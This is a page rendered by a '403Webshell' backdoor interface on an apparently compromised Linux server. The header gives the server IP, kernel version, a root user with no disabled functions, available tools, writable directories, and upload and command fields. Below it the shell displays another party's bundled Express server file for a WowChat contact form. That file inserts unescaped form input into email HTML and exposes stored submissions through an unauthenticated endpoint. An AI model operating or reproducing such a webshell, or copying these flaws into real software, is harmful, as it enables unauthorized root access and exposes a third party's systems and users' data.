403Webshell
Server IP : 138.197.176.125  /  Your IP : 216.73.216.41
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux SuiteCRM-8 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/dev.wowchat.co_01012026/dist/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/dev.wowchat.co_01012026/dist/index.js
// server/index.ts
import "dotenv/config";
import express2 from "express";

// server/routes.ts
import nodemailer from "nodemailer";
import { createServer } from "http";

// server/storage.ts
import { randomUUID } from "crypto";
var MemStorage = class {
  users;
  contactSubmissions;
  constructor() {
    this.users = /* @__PURE__ */ new Map();
    this.contactSubmissions = /* @__PURE__ */ new Map();
  }
  async getUser(id) {
    return this.users.get(id);
  }
  async getUserByUsername(username) {
    return Array.from(this.users.values()).find(
      (user) => user.username === username
    );
  }
  async createUser(insertUser) {
    const id = randomUUID();
    const user = { ...insertUser, id };
    this.users.set(id, user);
    return user;
  }
  async createContactSubmission(insertContact) {
    const id = randomUUID();
    const contact = {
      ...insertContact,
      id,
      company: insertContact.company || null,
      teamSize: insertContact.teamSize || null,
      message: insertContact.message || null,
      createdAt: /* @__PURE__ */ new Date()
    };
    this.contactSubmissions.set(id, contact);
    return contact;
  }
  async getContactSubmissions() {
    return Array.from(this.contactSubmissions.values()).sort(
      (a, b) => (b.createdAt?.getTime() || 0) - (a.createdAt?.getTime() || 0)
    );
  }
};
var storage = new MemStorage();

// shared/schema.ts
import { sql } from "drizzle-orm";
import { pgTable, text, varchar, timestamp } from "drizzle-orm/pg-core";
import { createInsertSchema } from "drizzle-zod";
var users = pgTable("users", {
  id: varchar("id").primaryKey().default(sql`gen_random_uuid()`),
  username: text("username").notNull().unique(),
  password: text("password").notNull()
});
var contactSubmissions = pgTable("contact_submissions", {
  id: varchar("id").primaryKey().default(sql`gen_random_uuid()`),
  name: text("name").notNull(),
  email: text("email").notNull(),
  company: text("company"),
  teamSize: text("team_size"),
  message: text("message"),
  createdAt: timestamp("created_at").defaultNow()
});
var insertUserSchema = createInsertSchema(users).pick({
  username: true,
  password: true
});
var insertContactSchema = createInsertSchema(contactSubmissions).pick({
  name: true,
  email: true,
  company: true,
  teamSize: true,
  message: true
});

// server/routes.ts
async function registerRoutes(app2) {
  const transporter = nodemailer.createTransport({
    host: process.env.SMTP_HOST || "",
    port: parseInt(process.env.SMTP_PORT || "587"),
    secure: false,
    // true for 465, false for other ports
    auth: {
      user: process.env.SMTP_USER || "",
      pass: process.env.SMTP_PASS || ""
    }
  });
  app2.post("/api/contact", async (req, res) => {
    try {
      const validatedData = insertContactSchema.parse(req.body);
      const adminMailOptions = {
        from: process.env.SMTP_FROM || "",
        to: process.env.CONTACT_EMAIL || "",
        // to: "parthp.variance@gmail.com",
        subject: `\u{1F4E9} New Customer Query from WowChat`,
        html: `
    <div style="font-family: 'Segoe UI', Arial, sans-serif; background-color: #f3f4f6; padding: 30px;">
      <div style="max-width: 650px; margin: 0 auto; background: #ffffff; border-radius: 12px; box-shadow: 0 4px 12px rgba(0,0,0,0.08); overflow: hidden;">

        <!-- Header -->
        <div style="background: linear-gradient(135deg, #2563eb, #3b82f6); color: white; padding: 24px 30px;">
          <h1 style="margin: 0; font-size: 22px; letter-spacing: 0.5px;">
            \u{1F4AC} WowChat - New Contact Submission
          </h1>
          <p style="margin: 6px 0 0; font-size: 14px; opacity: 0.9;">A new message has been received from your website contact form</p>
        </div>

        <!-- Content -->
        <div style="padding: 25px 30px;">
          <h2 style="font-size: 20px; margin-bottom: 15px; color: #111827;">Customer Details</h2>

          <table style="width: 100%; border-collapse: collapse; margin-bottom: 20px;">
            <tr>
              <td style="padding: 8px 0; color: #374151; width: 120px;"><strong>Name:</strong></td>
              <td style="padding: 8px 0; color: #111827;">${validatedData.name}</td>
            </tr>
            <tr>
              <td style="padding: 8px 0; color: #374151;"><strong>Email:</strong></td>
              <td style="padding: 8px 0; color: #111827;">${validatedData.email}</td>
            </tr>
            <tr>
              <td style="padding: 8px 0; color: #374151;"><strong>Company:</strong></td>
              <td style="padding: 8px 0; color: #111827;">${validatedData?.company || "N/A"}</td>
            </tr>
            <tr>
              <td style="padding: 8px 0; color: #374151;"><strong>Team Size:</strong></td>
              <td style="padding: 8px 0; color: #111827;">${validatedData?.teamSize || "N/A"}</td>
            </tr>
          </table>

          <div style="background: #f9fafb; border-left: 4px solid #2563eb; padding: 15px 20px; border-radius: 8px;">
            <h3 style="margin: 0 0 8px; color: #1e3a8a;">Message</h3>
            <p style="margin: 0; color: #111827; line-height: 1.6;">${validatedData.message || "N/A"}</p>
          </div>

          <p style="margin-top: 20px; font-size: 13px; color: #6b7280;">
            \u{1F4C5} Submitted on: ${(/* @__PURE__ */ new Date()).toLocaleString()}
          </p>
        </div>

        <!-- Footer -->
        <div style="background: #f1f5f9; padding: 15px 25px; text-align: center; font-size: 13px; color: #6b7280;">
          <p style="margin: 0;">
            \xA9 ${(/* @__PURE__ */ new Date()).getFullYear()} <strong>WowChat</strong> \u2014 Empowering Smart Conversations
          </p>
        </div>
      </div>
    </div>
  `
      };
      const [adminMailInfo] = await Promise.all([
        transporter.sendMail(adminMailOptions)
      ]);
      if (adminMailInfo.accepted.length === 0) {
        throw new Error("Email was not accepted by any recipient.");
      }
      res.json({
        success: true,
        message: "Email sent successfully!",
        info: {
          messageId: adminMailInfo.messageId,
          accepted: adminMailInfo.accepted
        }
      });
    } catch (error) {
      console.error("\u274C Error while sending email:", error);
      res.status(500).json({
        success: false,
        message: "Failed to send email",
        error: error.message
      });
    }
  });
  app2.get("/api/contact-submissions", async (req, res) => {
    try {
      const submissions = await storage.getContactSubmissions();
      res.json(submissions);
    } catch (error) {
      res.status(500).json({
        success: false,
        error: "Failed to fetch contact submissions"
      });
    }
  });
  const httpServer = createServer(app2);
  return httpServer;
}

// server/vite.ts
import express from "express";
import fs from "fs";
import path2 from "path";
import { createServer as createViteServer, createLogger } from "vite";

// vite.config.ts
import { defineConfig } from "vite";
import react from "@vitejs/plugin-react";
import path from "path";
import runtimeErrorOverlay from "@replit/vite-plugin-runtime-error-modal";
var vite_config_default = defineConfig({
  plugins: [
    react(),
    runtimeErrorOverlay(),
    ...process.env.NODE_ENV !== "production" && process.env.REPL_ID !== void 0 ? [
      await import("@replit/vite-plugin-cartographer").then(
        (m) => m.cartographer()
      )
    ] : []
  ],
  resolve: {
    alias: {
      "@": path.resolve(import.meta.dirname, "client", "src"),
      "@shared": path.resolve(import.meta.dirname, "shared"),
      "@assets": path.resolve(import.meta.dirname, "attached_assets")
    }
  },
  root: path.resolve(import.meta.dirname, "client"),
  build: {
    outDir: path.resolve(import.meta.dirname, "dist/public"),
    emptyOutDir: true
  },
  server: {
    fs: {
      strict: true,
      deny: ["**/.*"]
    }
  }
});

// server/vite.ts
import { nanoid } from "nanoid";
var viteLogger = createLogger();
function log(message, source = "express") {
  const formattedTime = (/* @__PURE__ */ new Date()).toLocaleTimeString("en-US", {
    hour: "numeric",
    minute: "2-digit",
    second: "2-digit",
    hour12: true
  });
  console.log(`${formattedTime} [${source}] ${message}`);
}
async function setupVite(app2, server) {
  const serverOptions = {
    middlewareMode: true,
    hmr: { server },
    allowedHosts: true
  };
  const vite = await createViteServer({
    ...vite_config_default,
    configFile: false,
    customLogger: {
      ...viteLogger,
      error: (msg, options) => {
        viteLogger.error(msg, options);
        process.exit(1);
      }
    },
    server: serverOptions,
    appType: "custom"
  });
  app2.use(vite.middlewares);
  app2.use("*", async (req, res, next) => {
    const url = req.originalUrl;
    try {
      const clientTemplate = path2.resolve(
        import.meta.dirname,
        "..",
        "client",
        "index.html"
      );
      let template = await fs.promises.readFile(clientTemplate, "utf-8");
      template = template.replace(
        `src="/src/main.tsx"`,
        `src="/src/main.tsx?v=${nanoid()}"`
      );
      const page = await vite.transformIndexHtml(url, template);
      res.status(200).set({ "Content-Type": "text/html" }).end(page);
    } catch (e) {
      vite.ssrFixStacktrace(e);
      next(e);
    }
  });
}
function serveStatic(app2) {
  const distPath = path2.resolve(import.meta.dirname, "public");
  if (!fs.existsSync(distPath)) {
    throw new Error(
      `Could not find the build directory: ${distPath}, make sure to build the client first`
    );
  }
  app2.use(express.static(distPath));
  app2.use("*", (_req, res) => {
    res.sendFile(path2.resolve(distPath, "index.html"));
  });
}

// server/index.ts
var app = express2();
app.use(express2.json());
app.use(express2.urlencoded({ extended: false }));
app.use((req, res, next) => {
  const start = Date.now();
  const path3 = req.path;
  let capturedJsonResponse = void 0;
  const originalResJson = res.json;
  res.json = function(bodyJson, ...args) {
    capturedJsonResponse = bodyJson;
    return originalResJson.apply(res, [bodyJson, ...args]);
  };
  res.on("finish", () => {
    const duration = Date.now() - start;
    if (path3.startsWith("/api")) {
      let logLine = `${req.method} ${path3} ${res.statusCode} in ${duration}ms`;
      if (capturedJsonResponse) {
        logLine += ` :: ${JSON.stringify(capturedJsonResponse)}`;
      }
      if (logLine.length > 80) {
        logLine = logLine.slice(0, 79) + "\u2026";
      }
      log(logLine);
    }
  });
  next();
});
(async () => {
  const server = await registerRoutes(app);
  app.use((err, _req, res, _next) => {
    const status = err.status || err.statusCode || 500;
    const message = err.message || "Internal Server Error";
    res.status(status).json({ message });
    throw err;
  });
  if (app.get("env") === "development") {
    await setupVite(app, server);
  } else {
    serveStatic(app);
  }
  const port = parseInt(process.env.PORT || "4000", 10);
  server.listen(port, () => {
    log(`serving on port ${port}`);
  });
})();

Youez - 2016 - github.com/yon3zu
LinuXploit